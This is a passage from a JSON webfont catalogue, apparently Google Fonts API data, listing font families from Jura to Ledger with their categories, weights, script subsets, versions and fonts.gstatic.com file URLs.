"http://fonts.gstatic.com/s/jura/v14/z7NOdRfiaC4Vd8hhoPzfb5vBTP2D6quhTfmrH_rt.ttf", "700": "http://fonts.gstatic.com/s/jura/v14/z7NOdRfiaC4Vd8hhoPzfb5vBTP266quhTfmrH_rt.ttf" } }, { "kind": "webfonts#webfont", "family": "Just Another Hand", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/justanotherhand/v11/845CNN4-AJyIGvIou-6yJKyptyOpOcr_BmmlS5aw.ttf" } }, { "kind": "webfonts#webfont", "family": "Just Me Again Down Here", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/justmeagaindownhere/v11/MwQmbgXtz-Wc6RUEGNMc0QpRrfUh2hSdBBMoAuwHvqDwc_fg.ttf" } }, { "kind": "webfonts#webfont", "family": "K2D", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v3", "lastModified": "2019-11-05", "files": { "100": "http://fonts.gstatic.com/s/k2d/v3/J7aRnpF2V0ErE6UpvrIw74NL.ttf", "100italic": "http://fonts.gstatic.com/s/k2d/v3/J7afnpF2V0EjdZ1NtLYS6pNLAjk.ttf", "200": "http://fonts.gstatic.com/s/k2d/v3/J7aenpF2V0Erv4QJlJw85ppSGw.ttf", "200italic": "http://fonts.gstatic.com/s/k2d/v3/J7acnpF2V0EjdZ3hlZY4xJ9CGyAa.ttf", "300": "http://fonts.gstatic.com/s/k2d/v3/J7aenpF2V0Er24cJlJw85ppSGw.ttf", "300italic": "http://fonts.gstatic.com/s/k2d/v3/J7acnpF2V0EjdZ2FlpY4xJ9CGyAa.ttf", "regular": "http://fonts.gstatic.com/s/k2d/v3/J7aTnpF2V0ETd68tnLcg7w.ttf", "italic": "http://fonts.gstatic.com/s/k2d/v3/J7aRnpF2V0EjdaUpvrIw74NL.ttf", "500": "http://fonts.gstatic.com/s/k2d/v3/J7aenpF2V0Erg4YJlJw85ppSGw.ttf", "500italic": "http://fonts.gstatic.com/s/k2d/v3/J7acnpF2V0EjdZ3dl5Y4xJ9CGyAa.ttf", "600": "http://fonts.gstatic.com/s/k2d/v3/J7aenpF2V0Err4EJlJw85ppSGw.ttf", "600italic": "http://fonts.gstatic.com/s/k2d/v3/J7acnpF2V0EjdZ3xkJY4xJ9CGyAa.ttf", "700": "http://fonts.gstatic.com/s/k2d/v3/J7aenpF2V0Ery4AJlJw85ppSGw.ttf", "700italic": "http://fonts.gstatic.com/s/k2d/v3/J7acnpF2V0EjdZ2VkZY4xJ9CGyAa.ttf", "800": "http://fonts.gstatic.com/s/k2d/v3/J7aenpF2V0Er14MJlJw85ppSGw.ttf", "800italic": "http://fonts.gstatic.com/s/k2d/v3/J7acnpF2V0EjdZ2JkpY4xJ9CGyAa.ttf" } }, { "kind": "webfonts#webfont", "family": "Kadwa", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kadwa/v4/rnCm-x5V0g7iphTHRcc2s2XH.ttf", "700": "http://fonts.gstatic.com/s/kadwa/v4/rnCr-x5V0g7ipix7auM-mHnOSOuk.ttf" } }, { "kind": "webfonts#webfont", "family": "Kalam", "category": "handwriting", "variants": [ "300", "regular", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/kalam/v10/YA9Qr0Wd4kDdMtD6GgLLmCUItqGt.ttf", "regular": "http://fonts.gstatic.com/s/kalam/v10/YA9dr0Wd4kDdMuhWMibDszkB.ttf", "700": "http://fonts.gstatic.com/s/kalam/v10/YA9Qr0Wd4kDdMtDqHQLLmCUItqGt.ttf" } }, { "kind": "webfonts#webfont", "family": "Kameron", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kameron/v10/vm82dR7vXErQxuznsL4wL-XIYH8.ttf", "700": "http://fonts.gstatic.com/s/kameron/v10/vm8zdR7vXErQxuzniAIfC-3jfHb--NY.ttf" } }, { "kind": "webfonts#webfont", "family": "Kanit", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/kanit/v5/nKKX-Go6G5tXcr72GwWKcaxALFs.ttf", "100italic": "http://fonts.gstatic.com/s/kanit/v5/nKKV-Go6G5tXcraQI2GAdY5FPFtrGw.ttf", "200": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr5aOiWgX6BJNUJy.ttf", "200italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI82hVaRrMFJyAu4.ttf", "300": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr4-OSWgX6BJNUJy.ttf", "300italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI6miVaRrMFJyAu4.ttf", "regular": "http://fonts.gstatic.com/s/kanit/v5/nKKZ-Go6G5tXcoaSEQGodLxA.ttf", "italic": "http://fonts.gstatic.com/s/kanit/v5/nKKX-Go6G5tXcraQGwWKcaxALFs.ttf", "500": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr5mOCWgX6BJNUJy.ttf", "500italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI_GjVaRrMFJyAu4.ttf", "600": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr5KPyWgX6BJNUJy.ttf", "600italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI92kVaRrMFJyAu4.ttf", "700": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr4uPiWgX6BJNUJy.ttf", "700italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI7mlVaRrMFJyAu4.ttf", "800": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr4yPSWgX6BJNUJy.ttf", "800italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI6WmVaRrMFJyAu4.ttf", "900": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr4WPCWgX6BJNUJy.ttf", "900italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI4GnVaRrMFJyAu4.ttf" } }, { "kind": "webfonts#webfont", "family": "Kantumruy", "category": "sans-serif", "variants": [ "300", "regular", "700" ], "subsets": [ "khmer" ], "version": "v7", "lastModified": "2019-07-26", "files": { "300": "http://fonts.gstatic.com/s/kantumruy/v7/syk0-yJ0m7wyVb-f4FOPUtDlpn-UJ1H6Uw.ttf", "regular": "http://fonts.gstatic.com/s/kantumruy/v7/sykx-yJ0m7wyVb-f4FO3_vjBrlSILg.ttf", "700": "http://fonts.gstatic.com/s/kantumruy/v7/syk0-yJ0m7wyVb-f4FOPQtflpn-UJ1H6Uw.ttf" } }, { "kind": "webfonts#webfont", "family": "Karla", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v13", "lastModified": "2019-12-08", "files": { "regular": "http://fonts.gstatic.com/s/karla/v13/qkBbXvYC6trAT4RSJN225aZO.ttf", "italic": "http://fonts.gstatic.com/s/karla/v13/qkBVXvYC6trAT7RQLtmU4LZOgAU.ttf", "700": "http://fonts.gstatic.com/s/karla/v13/qkBWXvYC6trAT7zuC_m-zrpHmRzC.ttf", "700italic": "http://fonts.gstatic.com/s/karla/v13/qkBQXvYC6trAT7RQFmW7xL5lnAzCKNg.ttf" } }, { "kind": "webfonts#webfont", "family": "Karma", "category": "serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/karma/v10/va9F4kzAzMZRGLjDY8Z_uqzGQC_-.ttf", "regular": "http://fonts.gstatic.com/s/karma/v10/va9I4kzAzMZRGIBvS-J3kbDP.ttf", "500": "http://fonts.gstatic.com/s/karma/v10/va9F4kzAzMZRGLibYsZ_uqzGQC_-.ttf", "600": "http://fonts.gstatic.com/s/karma/v10/va9F4kzAzMZRGLi3ZcZ_uqzGQC_-.ttf", "700": "http://fonts.gstatic.com/s/karma/v10/va9F4kzAzMZRGLjTZMZ_uqzGQC_-.ttf" } }, { "kind": "webfonts#webfont", "family": "Katibeh", "category": "display", "variants": [ "regular" ], "subsets": [ "arabic", "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/katibeh/v7/ZGjXol5MQJog4bxDaC1RVDNdGDs.ttf" } }, { "kind": "webfonts#webfont", "family": "Kaushan Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/kaushanscript/v8/vm8vdRfvXFLG3OLnsO15WYS5DF7_ytN3M48a.ttf" } }, { "kind": "webfonts#webfont", "family": "Kavivanar", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "tamil", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kavivanar/v5/o-0IIpQgyXYSwhxP7_Jb4j5Ba_2c7A.ttf" } }, { "kind": "webfonts#webfont", "family": "Kavoon", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kavoon/v8/pxiFyp4_scRYhlU4NLr6f1pdEQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Kdam Thmor", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kdamthmor/v7/MwQzbhjs3veF6QwJVf0JkGMViblPtXs.ttf" } }, { "kind": "webfonts#webfont", "family": "Keania One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/keaniaone/v7/zOL54pXJk65E8pXardnuycRuv-hHkOs.ttf" } }, { "kind": "webfonts#webfont", "family": "Kelly Slab", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kellyslab/v10/-W_7XJX0Rz3cxUnJC5t6TkMBf50kbiM.ttf" } }, { "kind": "webfonts#webfont", "family": "Kenia", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kenia/v11/jizURE5PuHQH9qCONUGswfGM.ttf" } }, { "kind": "webfonts#webfont", "family": "Khand", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/khand/v8/TwMN-IINQlQQ0bL5cFE3ZwaH__-C.ttf", "regular": "http://fonts.gstatic.com/s/khand/v8/TwMA-IINQlQQ0YpVWHU_TBqO.ttf", "500": "http://fonts.gstatic.com/s/khand/v8/TwMN-IINQlQQ0bKhcVE3ZwaH__-C.ttf", "600": "http://fonts.gstatic.com/s/khand/v8/TwMN-IINQlQQ0bKNdlE3ZwaH__-C.ttf", "700": "http://fonts.gstatic.com/s/khand/v8/TwMN-IINQlQQ0bLpd1E3ZwaH__-C.ttf" } }, { "kind": "webfonts#webfont", "family": "Khmer", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/khmer/v12/MjQImit_vPPwpF-BpN2EeYmD.ttf" } }, { "kind": "webfonts#webfont", "family": "Khula", "category": "sans-serif", "variants": [ "300", "regular", "600", "700", "800" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/khula/v5/OpNPnoEOns3V7G-ljCvUrC59XwXD.ttf", "regular": "http://fonts.gstatic.com/s/khula/v5/OpNCnoEOns3V7FcJpA_chzJ0.ttf", "600": "http://fonts.gstatic.com/s/khula/v5/OpNPnoEOns3V7G_RiivUrC59XwXD.ttf", "700": "http://fonts.gstatic.com/s/khula/v5/OpNPnoEOns3V7G-1iyvUrC59XwXD.ttf", "800": "http://fonts.gstatic.com/s/khula/v5/OpNPnoEOns3V7G-piCvUrC59XwXD.ttf" } }, { "kind": "webfonts#webfont", "family": "Kirang Haerang", "category": "display", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kiranghaerang/v8/E21-_dn_gvvIjhYON1lpIU4-bcqvWPaJq4no.ttf" } }, { "kind": "webfonts#webfont", "family": "Kite One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kiteone/v7/70lQu7shLnA_E02vyq1b6HnGO4uA.ttf" } }, { "kind": "webfonts#webfont", "family": "Knewave", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/knewave/v8/sykz-yx0lLcxQaSItSq9-trEvlQ.ttf" } }, { "kind": "webfonts#webfont", "family": "KoHo", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v3", "lastModified": "2019-11-05", "files": { "200": "http://fonts.gstatic.com/s/koho/v3/K2FxfZ5fmddNPuE1WJ75JoKhHys.ttf", "200italic": "http://fonts.gstatic.com/s/koho/v3/K2FzfZ5fmddNNisssJ_zIqCkDyvqZA.ttf", "300": "http://fonts.gstatic.com/s/koho/v3/K2FxfZ5fmddNPoU2WJ75JoKhHys.ttf", "300italic": "http://fonts.gstatic.com/s/koho/v3/K2FzfZ5fmddNNiss1JzzIqCkDyvqZA.ttf", "regular": "http://fonts.gstatic.com/s/koho/v3/K2F-fZ5fmddNBikefJbSOos.ttf", "italic": "http://fonts.gstatic.com/s/koho/v3/K2FwfZ5fmddNNisUeLTXKou4Bg.ttf", "500": "http://fonts.gstatic.com/s/koho/v3/K2FxfZ5fmddNPt03WJ75JoKhHys.ttf", "500italic": "http://fonts.gstatic.com/s/koho/v3/K2FzfZ5fmddNNissjJ3zIqCkDyvqZA.ttf", "600": "http://fonts.gstatic.com/s/koho/v3/K2FxfZ5fmddNPvEwWJ75JoKhHys.ttf", "600italic": "http://fonts.gstatic.com/s/koho/v3/K2FzfZ5fmddNNissoJrzIqCkDyvqZA.ttf", "700": "http://fonts.gstatic.com/s/koho/v3/K2FxfZ5fmddNPpUxWJ75JoKhHys.ttf", "700italic": "http://fonts.gstatic.com/s/koho/v3/K2FzfZ5fmddNNissxJvzIqCkDyvqZA.ttf" } }, { "kind": "webfonts#webfont", "family": "Kodchasan", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v3", "lastModified": "2019-11-05", "files": { "200": "http://fonts.gstatic.com/s/kodchasan/v3/1cX0aUPOAJv9sG4I-DJeR1Cggeqo3eMeoA.ttf", "200italic": "http://fonts.gstatic.com/s/kodchasan/v3/1cXqaUPOAJv9sG4I-DJWjUlIgOCs_-YOoIgN.ttf", "300": "http://fonts.gstatic.com/s/kodchasan/v3/1cX0aUPOAJv9sG4I-DJeI1Oggeqo3eMeoA.ttf", "300italic": "http://fonts.gstatic.com/s/kodchasan/v3/1cXqaUPOAJv9sG4I-DJWjUksg-Cs_-YOoIgN.ttf", "regular": "http://fonts.gstatic.com/s/kodchasan/v3/1cXxaUPOAJv9sG4I-DJmj3uEicG01A.ttf", "italic": "http://fonts.gstatic.com/s/kodchasan/v3/1cX3aUPOAJv9sG4I-DJWjXGAq8Sk1PoH.ttf", "500": "http://fonts.gstatic.com/s/kodchasan/v3/1cX0aUPOAJv9sG4I-DJee1Kggeqo3eMeoA.ttf", "500italic": "http://fonts.gstatic.com/s/kodchasan/v3/1cXqaUPOAJv9sG4I-DJWjUl0guCs_-YOoIgN.ttf", "600": "http://fonts.gstatic.com/s/kodchasan/v3/1cX0aUPOAJv9sG4I-DJeV1Wggeqo3eMeoA.ttf", "600italic": "http://fonts.gstatic.com/s/kodchasan/v3/1cXqaUPOAJv9sG4I-DJWjUlYheCs_-YOoIgN.ttf", "700": "http://fonts.gstatic.com/s/kodchasan/v3/1cX0aUPOAJv9sG4I-DJeM1Sggeqo3eMeoA.ttf", "700italic": "http://fonts.gstatic.com/s/kodchasan/v3/1cXqaUPOAJv9sG4I-DJWjUk8hOCs_-YOoIgN.ttf" } }, { "kind": "webfonts#webfont", "family": "Kosugi", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "japanese", "latin" ], "version": "v6", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/kosugi/v6/pxiFyp4_v8FCjlI4NLr6f1pdEQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Kosugi Maru", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "japanese", "latin" ], "version": "v6", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/kosugimaru/v6/0nksC9PgP_wGh21A2KeqGiTqivr9iBq_.ttf" } }, { "kind": "webfonts#webfont", "family": "Kotta One", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kottaone/v7/S6u_w41LXzPc_jlfNWqPHA3s5dwt7w.ttf" } }, { "kind": "webfonts#webfont", "family": "Koulen", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/koulen/v13/AMOQz46as3KIBPeWgnA9kuYMUg.ttf" } }, { "kind": "webfonts#webfont", "family": "Kranky", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kranky/v10/hESw6XVgJzlPsFnMpheEZo_H_w.ttf" } }, { "kind": "webfonts#webfont", "family": "Kreon", "category": "serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v22", "lastModified": "2020-02-05", "files": { "300": "http://fonts.gstatic.com/s/kreon/v22/t5t9IRIUKY-TFF_LW5lnMR3v2DnvPNimejUfp2dWNg.ttf", "regular": "http://fonts.gstatic.com/s/kreon/v22/t5t9IRIUKY-TFF_LW5lnMR3v2DnvYtimejUfp2dWNg.ttf", "500": "http://fonts.gstatic.com/s/kreon/v22/t5t9IRIUKY-TFF_LW5lnMR3v2DnvUNimejUfp2dWNg.ttf", "600": "http://fonts.gstatic.com/s/kreon/v22/t5t9IRIUKY-TFF_LW5lnMR3v2DnvvN-mejUfp2dWNg.ttf", "700": "http://fonts.gstatic.com/s/kreon/v22/t5t9IRIUKY-TFF_LW5lnMR3v2Dnvhd-mejUfp2dWNg.ttf" } }, { "kind": "webfonts#webfont", "family": "Kristi", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kristi/v11/uK_y4ricdeU6zwdRCh0TMv6EXw.ttf" } }, { "kind": "webfonts#webfont", "family": "Krona One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kronaone/v8/jAnEgHdjHcjgfIb1ZcUCMY-h3cWkWg.ttf" } }, { "kind": "webfonts#webfont", "family": "Krub", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v3", "lastModified": "2019-11-05", "files": { "200": "http://fonts.gstatic.com/s/krub/v3/sZlEdRyC6CRYZo47KLF4R6gWaf8.ttf", "200italic": "http://fonts.gstatic.com/s/krub/v3/sZlGdRyC6CRYbkQiwLByQ4oTef_6gQ.ttf", "300": "http://fonts.gstatic.com/s/krub/v3/sZlEdRyC6CRYZuo4KLF4R6gWaf8.ttf", "300italic": "http://fonts.gstatic.com/s/krub/v3/sZlGdRyC6CRYbkQipLNyQ4oTef_6gQ.ttf", "regular": "http://fonts.gstatic.com/s/krub/v3/sZlLdRyC6CRYXkYQDLlTW6E.ttf", "italic": "http://fonts.gstatic.com/s/krub/v3/sZlFdRyC6CRYbkQaCJtWS6EPcA.ttf", "500": "http://fonts.gstatic.com/s/krub/v3/sZlEdRyC6CRYZrI5KLF4R6gWaf8.ttf", "500italic": "http://fonts.gstatic.com/s/krub/v3/sZlGdRyC6CRYbkQi_LJyQ4oTef_6gQ.ttf", "600": "http://fonts.gstatic.com/s/krub/v3/sZlEdRyC6CRYZp4-KLF4R6gWaf8.ttf", "600italic": "http://fonts.gstatic.com/s/krub/v3/sZlGdRyC6CRYbkQi0LVyQ4oTef_6gQ.ttf", "700": "http://fonts.gstatic.com/s/krub/v3/sZlEdRyC6CRYZvo_KLF4R6gWaf8.ttf", "700italic": "http://fonts.gstatic.com/s/krub/v3/sZlGdRyC6CRYbkQitLRyQ4oTef_6gQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Kulim Park", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "200": "http://fonts.gstatic.com/s/kulimpark/v1/fdN49secq3hflz1Uu3IwjJYNwa5aZbUvGjU.ttf", "200italic": "http://fonts.gstatic.com/s/kulimpark/v1/fdNm9secq3hflz1Uu3IwhFwUKa9QYZcqCjVVUA.ttf", "300": "http://fonts.gstatic.com/s/kulimpark/v1/fdN49secq3hflz1Uu3IwjPIOwa5aZbUvGjU.ttf", "300italic": "http://fonts.gstatic.com/s/kulimpark/v1/fdNm9secq3hflz1Uu3IwhFwUTaxQYZcqCjVVUA.ttf", "regular": "http://fonts.gstatic.com/s/kulimpark/v1/fdN79secq3hflz1Uu3IwtF4m5aZxebw.ttf", "italic": "http://fonts.gstatic.com/s/kulimpark/v1/fdN59secq3hflz1Uu3IwhFws4YR0abw2Aw.ttf", "600": "http://fonts.gstatic.com/s/kulimpark/v1/fdN49secq3hflz1Uu3IwjIYIwa5aZbUvGjU.ttf", "600italic": "http://fonts.gstatic.com/s/kulimpark/v1/fdNm9secq3hflz1Uu3IwhFwUOapQYZcqCjVVUA.ttf", "700": "http://fonts.gstatic.com/s/kulimpark/v1/fdN49secq3hflz1Uu3IwjOIJwa5aZbUvGjU.ttf", "700italic": "http://fonts.gstatic.com/s/kulimpark/v1/fdNm9secq3hflz1Uu3IwhFwUXatQYZcqCjVVUA.ttf" } }, { "kind": "webfonts#webfont", "family": "Kumar One", "category": "display", "variants": [ "regular" ], "subsets": [ "gujarati", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kumarone/v4/bMr1mS-P958wYi6YaGeGNO6WU3oT0g.ttf" } }, { "kind": "webfonts#webfont", "family": "Kumar One Outline", "category": "display", "variants": [ "regular" ], "subsets": [ "gujarati", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kumaroneoutline/v5/Noao6VH62pyLP0fsrZ-v18wlUEcX9zDwRQu8EGKF.ttf" } }, { "kind": "webfonts#webfont", "family": "Kurale", "category": "serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "devanagari", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kurale/v5/4iCs6KV9e9dXjho6eAT3v02QFg.ttf" } }, { "kind": "webfonts#webfont", "family": "La Belle Aurore", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/labelleaurore/v10/RrQIbot8-mNYKnGNDkWlocovHeIIG-eFNVmULg.ttf" } }, { "kind": "webfonts#webfont", "family": "Lacquer", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v2", "lastModified": "2020-03-06", "files": { "regular": "http://fonts.gstatic.com/s/lacquer/v2/EYqzma1QwqpG4_BBB7-AXhttQ5I.ttf" } }, { "kind": "webfonts#webfont", "family": "Laila", "category": "serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/laila/v6/LYjBdG_8nE8jDLzxogNAh14nVcfe.ttf", "regular": "http://fonts.gstatic.com/s/laila/v6/LYjMdG_8nE8jDIRdiidIrEIu.ttf", "500": "http://fonts.gstatic.com/s/laila/v6/LYjBdG_8nE8jDLypowNAh14nVcfe.ttf", "600": "http://fonts.gstatic.com/s/laila/v6/LYjBdG_8nE8jDLyFpANAh14nVcfe.ttf", "700": "http://fonts.gstatic.com/s/laila/v6/LYjBdG_8nE8jDLzhpQNAh14nVcfe.ttf" } }, { "kind": "webfonts#webfont", "family": "Lakki Reddy", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "telugu", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lakkireddy/v6/S6u5w49MUSzD9jlCPmvLZQfox9k97-xZ.ttf" } }, { "kind": "webfonts#webfont", "family": "Lalezar", "category": "display", "variants": [ "regular" ], "subsets": [ "vietnamese", "arabic", "latin-ext", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lalezar/v6/zrfl0HLVx-HwTP82UaDyIiL0RCg.ttf" } }, { "kind": "webfonts#webfont", "family": "Lancelot", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lancelot/v9/J7acnppxBGtQEulG4JY4xJ9CGyAa.ttf" } }, { "kind": "webfonts#webfont", "family": "Lateef", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "arabic", "latin" ], "version": "v15", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lateef/v15/hESw6XVnNCxEvkbMpheEZo_H_w.ttf" } }, { "kind": "webfonts#webfont", "family": "Lato", "category": "sans-serif", "variants": [ "100", "100italic", "300", "300italic", "regular", "italic", "700", "700italic", "900", "900italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v16", "lastModified": "2019-07-23", "files": { "100": "http://fonts.gstatic.com/s/lato/v16/S6u8w4BMUTPHh30wWyWrFCbw7A.ttf", "100italic": "http://fonts.gstatic.com/s/lato/v16/S6u-w4BMUTPHjxsIPy-vNiPg7MU0.ttf", "300": "http://fonts.gstatic.com/s/lato/v16/S6u9w4BMUTPHh7USew-FGC_p9dw.ttf", "300italic": "http://fonts.gstatic.com/s/lato/v16/S6u_w4BMUTPHjxsI9w2PHA3s5dwt7w.ttf", "regular": "http://fonts.gstatic.com/s/lato/v16/S6uyw4BMUTPHvxk6XweuBCY.ttf", "italic": "http://fonts.gstatic.com/s/lato/v16/S6u8w4BMUTPHjxswWyWrFCbw7A.ttf", "700": "http://fonts.gstatic.com/s/lato/v16/S6u9w4BMUTPHh6UVew-FGC_p9dw.ttf", "700italic": "http://fonts.gstatic.com/s/lato/v16/S6u_w4BMUTPHjxsI5wqPHA3s5dwt7w.ttf", "900": "http://fonts.gstatic.com/s/lato/v16/S6u9w4BMUTPHh50Xew-FGC_p9dw.ttf", "900italic": "http://fonts.gstatic.com/s/lato/v16/S6u_w4BMUTPHjxsI3wiPHA3s5dwt7w.ttf" } }, { "kind": "webfonts#webfont", "family": "League Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-26", "files": { "regular": "http://fonts.gstatic.com/s/leaguescript/v11/CSR54zpSlumSWj9CGVsoBZdeaNNUuOwkC2s.ttf" } }, { "kind": "webfonts#webfont", "family": "Leckerli One", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/leckerlione/v10/V8mCoQH8VCsNttEnxnGQ-1itLZxcBtItFw.ttf" } }, { "kind": "webfonts#webfont", "family": "Ledger", "category": "serif", "variants": [ "regular" ], 